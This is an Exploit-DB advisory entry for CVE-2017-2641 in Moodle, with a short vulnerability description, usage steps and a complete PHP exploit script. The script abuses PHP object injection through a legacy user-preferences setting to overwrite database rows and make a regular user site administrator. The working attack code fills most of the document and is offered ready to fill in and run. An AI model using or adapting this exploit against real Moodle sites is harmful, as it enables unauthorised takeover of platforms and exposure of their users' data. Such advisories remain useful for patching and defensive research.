EDB-ID: 41828 | Author: Marko Belzetski | Published: 2017-04-06 | CVE: CVE-2017-2641 | Type: Webapps | Platform: PHP | Vulnerable App: N/A | # Date: April 6th, 2017
# Exploit Author: Marko Belzetski
# Contact: [email protected]
# Vendor Homepage: https://moodle.org/
# Version: 3.2 to 3.2.1, 3.1 to 3.1.4, 3.0 to 3.0.8, 2.7.0 to 2.7.18 and other unsupported versions
# Tested on: Moodle 3.2 running on php7.0 on Ubuntu 16.04
# CVE : CVE-2017-2641
1. Description
In Moodle 3.2 to 3.2.1, 3.1 to 3.1.4, 3.0 to 3.0.8, 2.7.0 to 2.7.18 and other unsupported versions, any registered user can update any table of the Moodle database via an objection injection through a legacy user preferences setting (Described by Netanel Rubin at http://netanelrub.in/2017/03/20/moodle-remote-code-execution/)
2. PoC
Log in as a regular user and note the URL of the Moodle site, the 'MoodleSession' cookie value and the 'sesskey' parameter along with your 'userid' from the page source. Paste these values into the exploit script, fire the script, re-authenticate and you will be the site administrator.
<?php
//defining the required classes for our exploit
namespace gradereport_singleview\local\ui {
class feedback{
}
}
namespace {
class gradereport_overview_external{
}
class grade_item{
}
class grade_grade{
}
// creating a simple httpPost method which requires php-curl
function httpPost($url, $data, $MoodleSession, $json)
{
$curl = curl_init($url);
$headers = array('Cookie: MoodleSession='.$MoodleSession);
if($json){
array_push($headers, 'Content-Type: application/json');
}else{
$data = urldecode(http_build_query($data));
}
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
// creating a simple httpGet method which requires php-curl
function httpGet($url, $MoodleSession)
{
$curl = curl_init($url);
$headers = array('Cookie: MoodleSession='.$MoodleSession);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){
//first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need
$base = new gradereport_overview_external();
// now we create the feedback object which inherits the vulnerable __tostring() method from its parent
$fb = new gradereport_singleview\local\ui\feedback();
//filling the feedback object with the required properties for the exploit to work
$fb -> grade = new grade_grade();
$fb -> grade -> grade_item = new grade_item();
$fb -> grade -> grade_item -> calculation = "[[somestring";
$fb -> grade -> grade_item -> calculation_normalized = false;
//setting the table which we want to alter
$fb -> grade -> grade_item -> table = $table;
//setting the row id of the row that we want to alter
$fb -> grade -> grade_item -> id = $rowId;
//setting the column with the value that we want to insert
$fb -> grade -> grade_item -> $column = $value;
$fb -> grade -> grade_item -> required_fields = array($column,'id');
//creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object
$arr = array(array($base),$fb);
//serializing the array
$value = serialize($arr);
//we'll set the course_blocks sortorder to 0 so we default to legacy user preference
$data = array('sesskey' => $sesskey, 'sortorder[]' => 0);
httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
//injecting the payload
$data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value))))));
httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1);
//getting the frontpage so the payload will activate
httpGet($url.'/my/', $MoodleSession);
}
$url = ''; //url of the Moodle site
$MoodleSession = '' //your MoodleSession cookie value
$sesskey = ''; //your sesskey
$table = "config"; //table to update
$rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation
$column = 'value'; //column name to update, which holds the userid
$value = 3; // userid to set as 'siteadmins' Probably want to make it your own
update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value);
//reset the allversionshash config entry with a sha1 hash so the site reloads its configuration
$rowId = 375 // row id of 'allversionshash' parameter
update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time()));
//reset the sortorder so we can see the front page again without the payload triggering
$data = array('sesskey' => $sesskey, 'sortorder[]' => 1);
httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
//force plugincheck so we can access admin panel
httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession);
}
?>
3. Solution:
Upgrade to fixed Moodle versions: 3.2.2, 3.1.5, 3.0.9 or 2.7.19
